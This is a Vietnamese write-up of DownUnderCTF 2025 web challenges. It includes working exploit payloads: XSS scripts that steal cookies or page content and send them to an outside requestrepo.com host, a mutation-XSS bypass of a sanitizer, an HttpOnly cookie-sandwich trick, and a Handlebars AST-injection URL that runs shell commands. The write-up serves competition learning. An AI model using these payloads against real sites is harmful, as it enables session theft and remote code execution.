---
# System prepended metadata

title: downUnderCTF 2025 - Part 2

---

# downUnderCTF 2025 - Part 2

## Web - mini-me

Mã nguồn:

```python
from flask import Flask, render_template, send_from_directory, request, redirect, make_response
from dotenv import load_dotenv

import os
load_dotenv()
API_SECRET_KEY = os.getenv("API_SECRET_KEY")
FLAG = os.getenv("FLAG")

app = Flask(__name__, static_folder="static", template_folder="templates")

@app.after_request
def add_header(response):
    response.cache_control.no_store = True
    response.cache_control.must_revalidate = True
    return response

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/login", methods=["POST"])
def login():
    return redirect("/confidential.html")

@app.route("/confidential.html")
def confidential():
    return render_template("confidential.html")


@app.route("/admin/flag", methods=["POST"])
def flag():
    key = request.headers.get("X-API-Key")
    if key == API_SECRET_KEY:
        return FLAG
    return "Unauthorized", 403
```

khi access đến /admin/flag -> nếu header X-API-KEY chứa api-key đúng thì trả ra flag.

![image](https://hackmd.io/_uploads/HkCNZL6Uge.png)

ngoài ra chỉ có `/static/js/main.min.js` là đáng chú ý tuy nhiên trong mã nguồn không có, ta sẽ lấy nó ở trên host deploy và đổi tên thành `test-main.min.js.map`.

```
$ curl https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/static/js/test-main.min.js.map                              
{"version":3,"file":"main.min.js.map","sources":["main.js"],"sourcesContent":["function pingMailStatus() {\r\n  fetch(\"/api/mail/status\");\r\n}\r\n\r\nfunction fetchInboxPreview() {\r\n  fetch(\"/api/mail/inbox?limit=5\");\r\n}\r\n\r\npingMailStatus();\r\nfetchInboxPreview();\r\n\r\ndocument.getElementById(\"start-btn\")?.addEventListener(\"click\", () => {\r\n  const audio = document.getElementById(\"balletAudio\");\r\n  audio.play();\r\n\r\n  document.getElementById(\"start-btn\").style.display = \"none\";\r\n  document.getElementById(\"audio-warning\").style.display = \"none\";\r\n\r\n  const dancer = document.getElementById(\"dancer\");\r\n  const dancerImg = document.getElementById(\"dancer-img\"); // Get the image element\r\n\r\n  dancer.style.display = \"block\";\r\n  dancerImg.style.display = \"block\"; // Show the image\r\n\r\n  let angle = 0;\r\n  const radius = 100;\r\n  const centerX = window.innerWidth / 2;\r\n  const centerY = window.innerHeight / 2;\r\n\r\n  function animate() {\r\n    angle += 0.05;\r\n    const x = centerX + radius * Math.cos(angle);\r\n    const y = centerY + radius * Math.sin(angle);\r\n    dancer.style.left = x + \"px\";\r\n    dancer.style.top = y + \"px\";\r\n\r\n    dancerImg.style.left = x + \"px\"; // Sync image movement\r\n    dancerImg.style.top = y + \"px\";\r\n\r\n    requestAnimationFrame(animate);\r\n  }\r\n  animate();\r\n});\r\n\r\nfunction qyrbkc() { \r\n    const xtqzp = [\"85\"], vmsdj = [\"87\"], rlfka = [\"77\"], wfthn = [\"67\"], zdqo = [\"40\"], yclur = [\"82\"],\r\n          bpxmg = [\"82\"], hkfav = [\"70\"], oqzdu = [\"78\"], nwtjb = [\"39\"], sgfyk = [\"95\"], utxzr = [\"89\"],\r\n          jvmqa = [\"67\"], dpwls = [\"73\"], xaogc = [\"34\"], eqhvt = [\"68\"], mfzoj = [\"68\"], lbknc = [\"92\"],\r\n          zpeds = [\"84\"], cvnuy = [\"57\"], ktwfa = [\"70\"], xdglo = [\"87\"], fjyhr = [\"95\"], vtuze = [\"77\"], awphs = [\"75\"];\r\n        const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], \r\n                    bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], \r\n                    jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], \r\n                    zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];\r\n\r\n    const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>\r\n        String.fromCharCode(\r\n            Number(pjgrx) ^ (fkhzu + 1) ^ 0 \r\n        )\r\n    ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, \"\"); \r\n    console.log(\"Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)\");\r\n}\r\n\r\n"],"names":["pingMailStatus","fetch","fetchInboxPreview","qyrbkc","map","pjgrx","fkhzu","String","fromCharCode","Number","reduce","qdmfo","lxzhs","console","log","document","getElementById","addEventListener","play","style","display","dancer","dancerImg","angle","centerX","window","innerWidth","centerY","innerHeight","animate","x","Math","cos","y","sin","left","top","requestAnimationFrame"],"mappings":"AAAA,SAASA,iBACPC,MAAM,kBAAkB,CAC1B,CAEA,SAASC,oBACPD,MAAM,yBAAyB,CACjC,CAsCA,SAASE,SAKc,CAJJ,KAAgB,KAAgB,KAAgB,KAAe,KAAgB,KAC/E,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAChF,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,KAAgB,MAMzFC,IAAI,CAACC,EAAOC,IAC9BC,OAAOC,aACHC,OAAOJ,CAAK,EAAKC,EAAQ,EAAK,CAClC,CACJ,EAAEI,OAAO,CAACC,EAAOC,IAAUD,EAAQC,EAAO,EAAE,EAC5CC,QAAQC,IAAI,mFAAmF,CACnG,CApDAd,eAAe,EACfE,kBAAkB,EAElBa,SAASC,eAAe,WAAW,GAAGC,iBAAiB,QAAS,KAChDF,SAASC,eAAe,aAAa,EAC7CE,KAAK,EAEXH,SAASC,eAAe,WAAW,EAAEG,MAAMC,QAAU,OACrDL,SAASC,eAAe,eAAe,EAAEG,MAAMC,QAAU,OAEzD,IAAMC,EAASN,SAASC,eAAe,QAAQ,EACzCM,EAAYP,SAASC,eAAe,YAAY,EAKlDO,GAHJF,EAAOF,MAAMC,QAAU,QACvBE,EAAUH,MAAMC,QAAU,QAEd,GAENI,EAAUC,OAAOC,WAAa,EAC9BC,EAAUF,OAAOG,YAAc,EAcrCC,CAZA,SAASA,IACPN,GAAS,IACT,IAAMO,EAAIN,EANG,IAMgBO,KAAKC,IAAIT,CAAK,EACrCU,EAAIN,EAPG,IAOgBI,KAAKG,IAAIX,CAAK,EAC3CF,EAAOF,MAAMgB,KAAOL,EAAI,KACxBT,EAAOF,MAAMiB,IAAMH,EAAI,KAEvBX,EAAUH,MAAMgB,KAAOL,EAAI,KAC3BR,EAAUH,MAAMiB,IAAMH,EAAI,KAE1BI,sBAAsBR,CAAO,CAC/B,EACQ,CACV,CAAC"}
```

```javascript
function pingMailStatus() {
  fetch("/api/mail/status");
}

function fetchInboxPreview() {
  fetch("/api/mail/inbox?limit=5");
}

pingMailStatus();
fetchInboxPreview();

document.getElementById("start-btn")?.addEventListener("click", () => {
  const audio = document.getElementById("balletAudio");
  audio.play();

  document.getElementById("start-btn").style.display = "none";
  document.getElementById("audio-warning").style.display = "none";

  const dancer = document.getElementById("dancer");
  const dancerImg = document.getElementById("dancer-img"); // Get the image element

  dancer.style.display = "block";
  dancerImg.style.display = "block"; // Show the image

  let angle = 0;
  const radius = 100;
  const centerX = window.innerWidth / 2;
  const centerY = window.innerHeight / 2;

  function animate() {
    angle += 0.05;
    const x = centerX + radius * Math.cos(angle);
    const y = centerY + radius * Math.sin(angle);
    dancer.style.left = x + "px";
    dancer.style.top = y + "px";

    dancerImg.style.left = x + "px"; // Sync image movement
    dancerImg.style.top = y + "px";

    requestAnimationFrame(animate);
  }
  animate();
});

function qyrbkc() { 
    const xtqzp = ["85"], vmsdj = ["87"], rlfka = ["77"], wfthn = ["67"], zdqo = ["40"], yclur = ["82"],
          bpxmg = ["82"], hkfav = ["70"], oqzdu = ["78"], nwtjb = ["39"], sgfyk = ["95"], utxzr = ["89"],
          jvmqa = ["67"], dpwls = ["73"], xaogc = ["34"], eqhvt = ["68"], mfzoj = ["68"], lbknc = ["92"],
          zpeds = ["84"], cvnuy = ["57"], ktwfa = ["70"], xdglo = ["87"], fjyhr = ["95"], vtuze = ["77"], awphs = ["75"];
        const dhgyvu = [xtqzp[0], vmsdj[0], rlfka[0], wfthn[0], zdqo[0], yclur[0], 
                    bpxmg[0], hkfav[0], oqzdu[0], nwtjb[0], sgfyk[0], utxzr[0], 
                    jvmqa[0], dpwls[0], xaogc[0], eqhvt[0], mfzoj[0], lbknc[0], 
                    zpeds[0], cvnuy[0], ktwfa[0], xdglo[0], fjyhr[0], vtuze[0], awphs[0]];

    const lmsvdt = dhgyvu.map((pjgrx, fkhzu) =>
        String.fromCharCode(
            Number(pjgrx) ^ (fkhzu + 1) ^ 0 
        )
    ).reduce((qdmfo, lxzhs) => qdmfo + lxzhs, ""); 
    console.log("Note: Key is now secured with heavy obfuscation, should be safe to use in prod :)");
}
```

để ý hàm `qyrbkc` có note key -> ta sẽ tìm key:

```javascript
function decode() {
    const arr = ["85","87","77","67","40","82","82","70","78","39","95","89","67","73","34","68","68","92","84","57","70","87","95","77","75"];
    const decoded = arr.map((val, idx) =>
        String.fromCharCode(Number(val) ^ (idx + 1))
    ).join('');
    console.log(decoded);
}

decode();
```

![image](https://hackmd.io/_uploads/HJeZmU6Llx.png)

API-KEY: `TUNG-TUNG-TUNG-TUNG-SAHUR`

get admin flag: 

```
curl -X POST https://web-mini-me-ab6d19a7ea6e.2025.ductf.net/admin/flag -H "X-API-Key: TUNG-TUNG-TUNG-TUNG-SAHUR"  
DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}
```

flag: `DUCTF{Cl13nt-S1d3-H4ck1nG-1s-FuN}`

## Web - Sweet Treat

Mã nguồn Tomcat/jsp, chương trình có chức năng đăng ký đăng nhập và đăng xuất, edit_profile và report user đáng nghi ngờ cho admin sau đó bot sẽ set cookie của mình chứa flag và view_profile user đó -> thực chất thì đây là một bài XSS.

`admin-review.jsp`:

```java
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<!-- Ignore this section, just for setting up admin sessions -->
<%
try {
    Class.forName("org.sqlite.JDBC");
    boolean isAdminCookie = false;
    Cookie[] admincookie = request.getCookies();
    if (admincookie != null) {
        for (Cookie c : admincookie) {
            if ("admin".equals(c.getName()) && "only-for-automate-not-very-relevant".equals(c.getValue())) {
                isAdminCookie = true;
                break;
            }
        }
    }
    if (isAdminCookie) {
        session.setAttribute("user", "admin");
        System.out.println("Set the Admin session");
        Cookie delCookie = new Cookie("admin", "");
        delCookie.setMaxAge(0);
        delCookie.setPath("/");
        response.addCookie(delCookie);
        Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}");
        flag.setPath("/");
        flag.setHttpOnly(true);
        response.addCookie(flag);

    }

} catch (Exception e) {
    out.println("Error setting admin session: " + e.getMessage());
}
%>
<!-- Ignore this section, just for setting up admin sessions -->
<%
    String userName = (String) session.getAttribute("user");
    if (userName == null || !"admin".equals(userName)) {
        response.sendRedirect("/index.jsp");
        return;
    }
    System.out.println("Admin Review Page accessed by: " + userName);
    String lang = "en";
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie c : cookies) {
            if ("language".equals(c.getName())) {
                lang = c.getValue();
            }
        }
    }

    String dbURL = "jdbc:sqlite:/opt/directory.db";
    String reportedUser = null;
    String reportTime = null;
    String aboutMe = null;
    Connection conn = null;
    PreparedStatement pstmt = null;
    ResultSet rs = null;
    try {
        Class.forName("org.sqlite.JDBC");
        conn = DriverManager.getConnection(dbURL);
        String sql = "SELECT username, report_time FROM Reports ORDER BY id DESC LIMIT 1";
        pstmt = conn.prepareStatement(sql);
        rs = pstmt.executeQuery();
        if (rs.next()) {
            reportedUser = rs.getString("username");
            reportTime = rs.getString("report_time");
        }
        pstmt.close();
        rs.close();

        // Fetch aboutMe for the reported user
        if (reportedUser != null) {
            String aboutSql = "SELECT aboutme FROM users WHERE username = ?";
            pstmt = conn.prepareStatement(aboutSql);
            pstmt.setString(1, reportedUser);
            rs = pstmt.executeQuery();
            if (rs.next()) {
                aboutMe = rs.getString("aboutme");
            }
        }
    } catch(Exception e) {
        out.println("Database error: " + e.getMessage());
    } finally {
        try { if (rs != null) rs.close(); } catch(Exception e) {}
        try { if (pstmt != null) pstmt.close(); } catch(Exception e) {}
        try { if (conn != null) conn.close(); } catch(Exception e) {}
    }

    String loggedInUser = userName;
%>
<!DOCTYPE html>
<html lang="<%= lang %>">
<head>
    <title>Admin Review - Directory Application</title>
    <link rel="stylesheet" href="/styles.css">
</head>
<body>
    <div class="navbar">
        <a href="/index.jsp">Home</a>
        <a href="/edit_profile.jsp">Edit Profile</a>
        <% if ("admin".equals(loggedInUser)) { %>
            <a href="/admin/admin-review.jsp">Review Reports</a>
            <a href="/admin/admin.jsp">Admin Dashboard</a>
        <% } %>
        <a href="/logout.jsp">Logout</a>
    </div>
    <div class="user-bar">
        <span>👤 <%= userName %></span>
    </div>
    <div class="profile-container">
        <h2>Welcome, <%= userName %></h2>
        <h3>Last Reported Profile</h3>
        <% if (reportedUser != null) { %>
            <div class="profile-card">
                <h4>Username: <%= reportedUser %></h4>
                <div class="about-label">Reported At:</div>
                <div class="about-content"><%= reportTime %></div>
                <div class="about-label">About Me:</div>
                <div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div>
            </div>
        <% } else { %>
            <p>No profiles have been reported yet.</p>
        <% } %>
    </div>
    <footer>
      <p style="text-align: center; font-size: 0.9rem; color: #6b7280;">&copy; 2025 Sweet Treats INC</p>
      <p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p>
    </footer>
</body>
</html>
```

Tại đây thì admin sẽ lấy cookie của admin:

```java
if (admincookie != null) {
        for (Cookie c : admincookie) {
            if ("admin".equals(c.getName()) && "only-for-automate-not-very-relevant".equals(c.getValue())) {
                isAdminCookie = true;
                break;
            }
        }
    }
```

nếu cookie có key là admin và value `only-for-automate-not-very-relevant`

Sau đó sẽ thực hiện set cookie với flag nếu isAdminCookie được set là true:

```java
if (isAdminCookie) {
    session.setAttribute("user", "admin");
    System.out.println("Set the Admin session");
    Cookie delCookie = new Cookie("admin", "");
    delCookie.setMaxAge(0);
    delCookie.setPath("/");
    response.addCookie(delCookie);
    Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}");
    flag.setPath("/");
    flag.setHttpOnly(true);
    response.addCookie(flag);

}
```

Tuy nhiên vấn đề lo lắng ta cần nhắc đến ở đây là `flag.setHttpOnly(true);` ta sẽ không thể truy cập cookie được lưu trong trình duyệt bằng document.cookie - nó sẽ trả ra null.

### Steal cookie with httpOnly

https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

Chương trình sẽ không xử lý những kí tự đặc biệt tùy theo web-server, và đối với apache tomcat ở đây chương trình dùng image `FROM tomcat:9.0-jdk11`: https://tomcat.apache.org/tomcat-9.0-doc/config/cookie-processor.html

https://cybersecuritynews.com/cookie-sandwich-stealing-httponly-cookies/

điều này cho phép kẻ tấn công thêm cookie có tên $Version hạ cấp các phiên bản cookie để buộc trình duyệt sử dụng bộ xử lý cookie cũ để đọc và hoạt động trên cookie.

POC:

```javascript
<script>
document.cookie = `$Version=1; path=/index.jsp;`;
document.cookie = `language="start; path=/index.jsp;`;
document.cookie = `end="; path=/`;
fetch("/index.jsp").then(function (res){return res.text();}).then(
function (html) {
    fetch("https://mlmdd4pj.requestrepo.com/flag",
    {
        method: "POST",
        body: html.substring(0,135)
    });
});
</script>
```

Ta sẽ set `language="` và `end="` để chương trình nhầm rằng toàn bộ phần nằm giữa `" và "` là một chuỗi và nó là value của lang.

![image](https://hackmd.io/_uploads/HJky32aLeg.png)

### Steal content in lang attribute

`index.jsp`

```java
<%@ page import="java.sql.*" %>
<%
  String lang = "en";
  Cookie[] cookies = request.getCookies();
  if (cookies != null) {
      for (Cookie c : cookies) {
          if ("language".equals(c.getName())) {
              lang = c.getValue();
          }
      }
  }
  String loggedInUser = (String) session.getAttribute("user");

  // Fetch all users
  String dbURL = "jdbc:sqlite:/opt/directory.db";
  Connection conn = null;
  PreparedStatement pstmt = null;
  ResultSet rs = null;
  java.util.List<String> usernames = new java.util.ArrayList<>();
  try {
      Class.forName("org.sqlite.JDBC");
      conn = DriverManager.getConnection(dbURL);
      String sql = "SELECT username FROM users";
      pstmt = conn.prepareStatement(sql);
      rs = pstmt.executeQuery();
      while (rs.next()) {
          usernames.add(rs.getString("username"));
      }
  } catch(Exception e) {
      out.println("Database error: " + e.getMessage());
  } finally {
      try { if (rs != null) rs.close(); } catch(Exception e) {}
      try { if (pstmt != null) pstmt.close(); } catch(Exception e) {}
      try { if (conn != null) conn.close(); } catch(Exception e) {}
  }
%>
<%! 
    public String escapeHtml(String s) {
        if (s == null) return "";
        return s.replace("&", "&amp;")
                .replace("<", "&lt;")
                .replace(">", "&gt;")
                .replace("\"", "&quot;")
                .replace("'", "&#x27;");
    }
%>
<!DOCTYPE html>
<html lang="<%= lang %>">
  <head>
    <title>Directory Application - Users</title>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="/styles.css">
  </head>
  <body>
    <div class="navbar">
      <% if (loggedInUser != null) { %>
        <a href="/index.jsp">Home</a>
        <a href="/edit_profile.jsp">Edit Profile</a>
        <% if ("admin".equals(loggedInUser)) { %>
          <a href="/admin/admin-review.jsp">Review Reports</a>
          <a href="/admin/admin.jsp">Admin Dashboard</a>
        <% } %>
        <a href="/logout.jsp">Logout</a>
      <% } else { %>
        <a href="/index.jsp">Home</a>
        <a href="/login.jsp">Login</a>
        <a href="/register.jsp">Register</a>
      <% } %>
    </div>
    <div class="directory-title">Directory Application</div>
    <div class="user-list-container">
      <h2>Users</h2>
      <ul class="user-list">
        <% for (String user : usernames) { %>
          <li><%= escapeHtml(user) %></li>
        <% } %>
      </ul>
    </div>
    <div class="footer">
      <p style="text-align: center; font-size: 0.9rem; color: #6b7280;">&copy; 2025 Sweet Treats INC</p>
      <p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p>
    </div>
  </body>
</html>

<style>
/* Hide bullets for all user/admin lists */
.user-list, .user-list-admin, .report-list, .admin-user-list {
    list-style-type: none !important;
    list-style: none !important;
    padding-left: 0 !important;
    margin: 0 !important;
}

/* Center and style the directory title */
.directory-title {
    font-size: 2.4rem;
    color: #2d3a4b;
    margin: 3.5rem 0 2.5rem 0;
    letter-spacing: 1px;
    text-align: center;
    font-weight: 700;
    line-height: 1.2;
}
</style>
```

Mã jsp tương tự vẫn lấy giá trị lang nếu có ở trong cookie và đưa vào attribute lang:

```java
  String lang = "en";
  Cookie[] cookies = request.getCookies();
  if (cookies != null) {
      for (Cookie c : cookies) {
          if ("language".equals(c.getName())) {
              lang = c.getValue();
          }
      }
  }
```

Tại đây thì không có xss vì `username` đã bị html escape rồi:

```java
<%! 
    public String escapeHtml(String s) {
        if (s == null) return "";
        return s.replace("&", "&amp;")
                .replace("<", "&lt;")
                .replace(">", "&gt;")
                .replace("\"", "&quot;")
                .replace("'", "&#x27;");
    }
%>
```

```java
<% for (String user : usernames) { %>
          <li><%= escapeHtml(user) %></li>
        <% } %>
```

Tuy nhiên khi bot view profile của người dùng bị report thì nó fetch thẳng từ db ra mà không escapeHTML ở `admin-review.jsp`

```java
<div class="profile-container">
        <h2>Welcome, <%= userName %></h2>
        <h3>Last Reported Profile</h3>
        <% if (reportedUser != null) { %>
            <div class="profile-card">
                <h4>Username: <%= reportedUser %></h4>
                <div class="about-label">Reported At:</div>
                <div class="about-content"><%= reportTime %></div>
                <div class="about-label">About Me:</div>
                <div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div>
            </div>
        <% } else { %>
            <p>No profiles have been reported yet.</p>
        <% } %>
    </div>
    <footer>
      <p style="text-align: center; font-size: 0.9rem; color: #6b7280;">&copy; 2025 Sweet Treats INC</p>
      <p style="text-align: center; font-size: 0.8rem; color: #9ca3af;">For internal use only</p>
    </footer>
```

Do đó aboutMe ở đây có của người dính XSS.

Và sau khi report thì con bot cũng được trigger luôn:

```java
 // Handle report profile to admin
    if ("POST".equalsIgnoreCase(request.getMethod()) && request.getParameter("reportProfile") != null) {
        try {
            Class.forName("org.sqlite.JDBC");
            conn = DriverManager.getConnection(dbURL);

            String insertReport = "INSERT INTO Reports (username) VALUES (?)";
            pstmt = conn.prepareStatement(insertReport);
            pstmt.setString(1, username);
            pstmt.executeUpdate();
            pstmt.close();
        } catch(Exception e) {
            out.println("Database error: " + e.getMessage());
        } finally {
            try { if (pstmt != null) pstmt.close(); } catch(Exception e) {}
            try { if (conn != null) conn.close(); } catch(Exception e) {}
        }
        try {
            java.net.URL url = new java.net.URL("http://xssbot/visit");
            java.net.HttpURLConnection con = (java.net.HttpURLConnection) url.openConnection();
            con.setRequestMethod("POST");
            con.setRequestProperty("Content-Type", "application/json");
            con.setRequestProperty("X-SSRF-Protection",     
            con.setDoOutput(true);
            String json = "{\"url\": \"http://sweet-treat:8080/admin/admin-review.jsp\"}"; // 127.0.0.1 when deployed
            try (java.io.OutputStream os = con.getOutputStream()) {
                byte[] input = json.getBytes("utf-8");
                os.write(input, 0, input.length);
            }
            int code = con.getResponseCode();
            // Optionally, you can read the response here if needed
            if (code != 202) {
                out.println("Error notifying bot: " + code);
            } else {
                out.println("Bot notified successfully.");
            }
            con.disconnect();
        } catch(Exception e) {
            out.println("Bot notify error: " + e.getMessage());
        }
    }
```

-> Do đó ta sẽ tạo aboutMe ở trên để stored XSS -> rồi bot trigger lang được set chứa cả flag -> và gửi ra ngoài.

![image](https://hackmd.io/_uploads/SJdKAnTIxg.png)

![image](https://hackmd.io/_uploads/rJL9R3TUex.png)


## Web - mutant

Challenge xss với mã nguồn dưới với 2 chức năng chính đó là xem index.html và report cho bot -> bot sẽ kiểm tra với input là query người dùng truyền vào:

```python
from flask import Flask, render_template, make_response, request
import requests
import os
import urllib.parse

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/bot-login")
def bot_login():
    if request.args.get("token") != os.getenv("BOT_TOKEN"):
        return "Invalid token! This url is so the bot can login, it's not part of the challenge"

    resp = make_response("bot logged in")
    resp.set_cookie('flag', 'DUCTF{if_y0u_d1dnt_us3_mutation_x5S_th3n_it_w45_un1nt3nded_435743723}')
    return resp

@app.route("/report", methods=["POST"])
def report():
    requests.post(f"{os.getenv("INTERNAL_XSS_BOT_URL")}/visit", json={
        "url": os.getenv("BOT_VISIT_URL") + "/?input=" + urllib.parse.quote_plus(request.get_data(as_text=True))
    }, headers={
        "X-SSRF-Protection": "1"
    })

    return "Reported"

if __name__ == '__main__':
    app.run( host="0.0.0.0", port=1337, debug=False)
```

```html
<!DOCTYPE html>
<html>
  <head>
    <title>Mutant</title>

<style>
body {
  display: flex;
  margin: 0;
  width: 100vw;
  height: 100vh;
}

.maindiv {
  margin: auto;
}

button, input {
  width: 100%;
}

textarea {
  width: calc(100% - 6px);
}
</style>
  </head>

  <body>
    <div class="maindiv">
      <p>Come on, XSS me. Give it your best shot.</p>

      <form method="GET">
        <textarea name="input" rows="20" cols="50" id="mytextarea"></textarea>

        <br>
        <input type="submit">
      </form>

      <p>Feeling confident?<br>Report this page, the flag is in <code>document.cookie</code>.</p>
      <button id="reportbtn">Report this page</button>

      <br>
      <p>Your payload below:</p>

      <code id="myoutputdebug"></code>

      <br>

      <div id="myoutput"></div>

      <script src="{{ url_for('static', filename='main.js') }}"></script>
    </div>
  </body>
<html>
```

Nội dung của template không có gì đặc biệt ngoài file main.js được include vào.

```javascript
const inp = new URLSearchParams(location.search).get("input");

// Reporting stuff
reportbtn.addEventListener('click', () => {
  fetch("/report", {
    method: "POST",
    body: inp
  }).then(r => alert("Successfully reported")).catch(alert);
});

// Challenge
mytextarea.value = inp;

console.log("Original", inp);

const t = document.createElement("template");
t.innerHTML = inp;

console.log("After injecting into template", t.innerHTML);

const nodes = [t.content];
while (nodes.length > 0) {
  const n = nodes.pop();

  console.log("Parsed element", n.outerHTML);

  if (n.attributes) {
    while (n.attributes.length > 0) {
      n.removeAttribute(n.attributes[0].name);
    }
  }

  // Fix XSS reported by our bug bounty community
  if (n.nodeName !== "#document-fragment" && (n.nodeName.length === 6 || n.nodeName.length === 8)) {
    n.parentNode.removeChild(n);
    continue;
  }
  
  for (let i = n.children.length - 1; i >= 0; i--) {
    nodes.push(n.children[i]);
  }
}

console.log("After sanitization", t.innerHTML);

myoutputdebug.innerText = t.innerHTML;
myoutput.innerHTML = t.innerHTML;

console.log("Final", myoutput.innerHTML);
```

Dấu hiện xss tại `myoutput.innerHTML = t.innerHTML;`

`input` lấy từ searchParamQuery được nhận sau đó nó được innerHTML trong element `template` tuy nhiên template tag sẽ không hiển thị nên ở đây không xss được. 

Tiếp tục nó lấy toàn bộ các node là content của template sau khi parse và những node có độ dài tên là 6 hoặc 8 hoặc thuộc tính bằng 8 sẽ bị xóa:

```javascript
// Fix XSS reported by our bug bounty community
  if (n.nodeName !== "#document-fragment" && (n.nodeName.length === 6 || n.nodeName.length === 8)) {
    n.parentNode.removeChild(n);
    continue;
  }
```

Sau khi santities xong thì innerHTML như ta nói ở đầu.

![image](https://hackmd.io/_uploads/SJDH_6aUgg.png)

Ta có thể dùng:

```
<form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form>
```

Tuy nhiên có node có length là 6 là `mglyph` do đó sẽ bị xóa:

![image](https://hackmd.io/_uploads/H1qtOTaIex.png)

Trong bài viết dưới có đề cập ta có thể thay thế `mglyph` bằng `malignmark` - length = 10 cho nên sẽ không bị xóa.

![image](https://hackmd.io/_uploads/rkheYTaIee.png)

poc:

```
<form><math><mtext></form><form><malignmark><style></math><img src onerror=alert(1)>
```

```
<form><math><mtext></form><form><malignmark><style></math><img src=1 onerror="fetch(`https://mlmdd4pj.requestrepo.com/${document.cookie}`)">
```

![image](https://hackmd.io/_uploads/HJ3rYT6Ixg.png)

flag: `DUCTF{if_y0u_d1dnt_us3_mutation_x5S_th3n_it_w45_un1nt3nded_435743723}`

https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/

## Web - Request Handling

Chương trình chỉ cho Dockerfile như sau:

```dockerfile
FROM alpine:latest AS flag-builder

WORKDIR /build
RUN apk add gcc musl-dev
RUN cat <<EOF > getflag.c
#include <stdio.h>
int main() {
    printf("DUCTF{test_flag}\n");
}
EOF
RUN gcc -static getflag.c -o getflag

FROM node:22-alpine

WORKDIR /app
RUN npm init -y && npm install express@4 handlebars

RUN cat <<EOF > app.js
const express = require("express");
const Handlebars = require("handlebars");
const app = express();

app.get('/', (req, res) => {
    res.send(Handlebars.compile(req.query.x)({}));
});

app.listen(8000, () => console.log('App listening'));
EOF

COPY --from=flag-builder /build/getflag /getflag
RUN chmod 111 /getflag

EXPOSE 8000

USER node
CMD node app.js
```

`getflag` được compile thành binary và cấp quyền chỉ excute (111) cho tất cả các người dùng -> phải RCE.

Server khởi chạy express js với `handlebars`:

```javascript
const express = require("express");
const Handlebars = require("handlebars");
const app = express();

app.get('/', (req, res) => {
    res.send(Handlebars.compile(req.query.x)({}));
});

app.listen(8000, () => console.log('App listening'));
```

Và như desciption thì `They patched Handlebars SSTI, there's nothing to worry about.` -> tìm SSTI.

https://handlebarsjs.com/api-reference/compilation.html

Dễ dàng tìm kiếm được một bài tương tự:

https://po6ix.github.io/AST-Injection/#Handlebars

Chuyển thành query để prototype:

```
http://localhost:8000/?x[type]=Program&x[body][0][type]=MustacheStatement&x[body][0][path]=0&x[body][0][loc][start]=0&x[body][0][loc][end]=0&x[body][0][params][0][type]=NumberLiteral&x[body][0][params][0][value]=function%20()%20%7Bthrow%20new%20Error(process.mainModule.require(%27child_process%27).execSync(%27/getflag%27).toString())%7D()
```

![image](https://hackmd.io/_uploads/SJO3RTpLlg.png)

flag: `DUCTF{35116296c07966e5f645dac55a0fe81c}`

## Web - sodium

Http request smuggling

## Web - file-upload

## Web - More Request Handling

## Web - off dah rails m8

## Web - legendary

